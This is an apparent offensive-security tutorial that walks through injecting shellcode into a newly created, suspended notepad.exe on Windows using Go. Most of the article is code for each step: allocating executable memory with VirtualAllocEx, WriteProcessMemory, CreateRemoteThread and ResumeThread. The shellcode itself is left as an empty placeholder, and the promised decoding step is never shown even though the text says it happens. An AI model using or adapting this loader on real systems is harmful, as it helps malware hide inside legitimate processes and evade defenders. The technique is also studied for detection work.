Inject shellcode in the memory of a new suspended process

Step-by-step breakdown

  1. Defining the Encoded Shellcode

In this example, we are working with an encoded shellcode. For simplicity, we assume the shellcode is encoded using a basic ROT1 encoding where each byte is shifted by one (the same shellcode that was used here).

var encodedShellcode = []byte{} // Replace this with your ROT1 encoded shellcode

The encodedShellcode array will be decoded in the code, so it's important to understand that you’ll need to provide the actual encoded shellcode that you want to inject.

  1. Creating a New Process in Suspended Mode

The first critical step is to create the target process. For this, we use windows.CreateProcess, specifying CREATE_SUSPENDED as the flag to create the process in a suspended state.

err := windows.CreateProcess(
    syscall.StringToUTF16Ptr(executablePath),
    nil,
    nil,
    nil,
    false,
    windows.CREATE_SUSPENDED, // Process created in suspended mode
    nil,
    nil,
    &si,
    &pi,
)
  • executablePath is the path to the executable, in this case, C:\\Windows\\System32\\notepad.exe.

  • windows.CREATE_SUSPENDED ensures the process starts in a suspended state so we can inject our shellcode into its memory and execute it manually later.

If successful, windows.CreateProcess returns a ProcessInformation struct (pi) that contains handles to the created process and its initial thread, which will be used later.

  1. Allocating Memory in the Target Process

After the process is created, we need to allocate memory within the target process where the shellcode will reside. We do this by calling VirtualAllocEx to allocate memory in the remote process.

addr, _, err := VirtualAllocEx.Call(
    uintptr(pi.Process),
    0,                                      // NULL address, let the system choose
    uintptr(len(encodedShellcode)),         // Memory size required
    windows.MEM_COMMIT|windows.MEM_RESERVE, // Commit and reserve memory
    windows.PAGE_EXECUTE_READWRITE,         // Memory protection (execute and read/write)
)
  • MEM_COMMIT and MEM_RESERVE: These flags commit and reserve memory space.

  • PAGE_EXECUTE_READWRITE: This allows the shellcode to be both executable and writable.

  • The return value addr is the address of the allocated memory where the shellcode will be injected.

4 .Writing the Shellcode to Allocated Memory

Once we have allocated memory in the target process, the next step is to write the decoded shellcode into that memory. This is done using the WriteProcessMemory function:

err = windows.WriteProcessMemory(
    pi.Process,
    addr,                                    // Address to write to in the target process
    &encodedShellcode[0],                    // Pointer to the shellcode
    uintptr(len(encodedShellcode)),         // Number of bytes to write
    &numBytesWritten,                        // Pointer to store the number of bytes written
)

This function writes the shellcode to the allocated memory space in the target process. If the function returns an error, it will be caught, and the program will output the error message.

  1. Creating a Remote Thread to Execute the Shellcode

After writing the shellcode into the target process, we need to create a remote thread that will execute the shellcode. This is achieved by calling CreateRemoteThread, which starts a thread in the target process at the address where the shellcode is stored.

_, _, err = CreateRemoteThread.Call(
    uintptr(pi.Process),
    0,
    0,
    addr,  // The address of the shellcode in the target process
    0,     // Parameters (not used in this case)
    0,     // Flags (not used)
    0,     // Thread ID (optional)
)

This effectively starts a new thread in the target process that executes the injected shellcode. The shellcode is now running inside the context of the target process.

  1. Resuming the Main Thread of the Target Process

After injecting and executing the shellcode, we resume the main thread of the target process to allow it to continue normal execution. This is done using the ResumeThread function:

_, err = windows.ResumeThread(threadHandle)
  • threadHandle is the handle to the main thread of the target process, which was obtained earlier when the process was created in suspended mode.

  • This call resumes the target process, which can now proceed with the execution of its own code (along with our injected shellcode running as part of it).

Result

As a result of all of theses operations, we succeed at our final goal, make notepad.exe execute our shellcode, as demonstrated here:

We can see a notepad process running with two thread:

  • The main thread of the executable

  • The injected thread that contain our shellcode, executed directly by notepad

Conclusion

In this article we succeed to do the following:

  • decode our ROT1 encoded shellcode in memory

  • create a suspended notepad.exe process

  • allocate suffiscient memory to inject the decoded shellcode into the newly created process

  • Create a remote thrad attached to the suspended notepad process

  • resume the process to trigger the shellcode execution

The full code is available here.

Last updated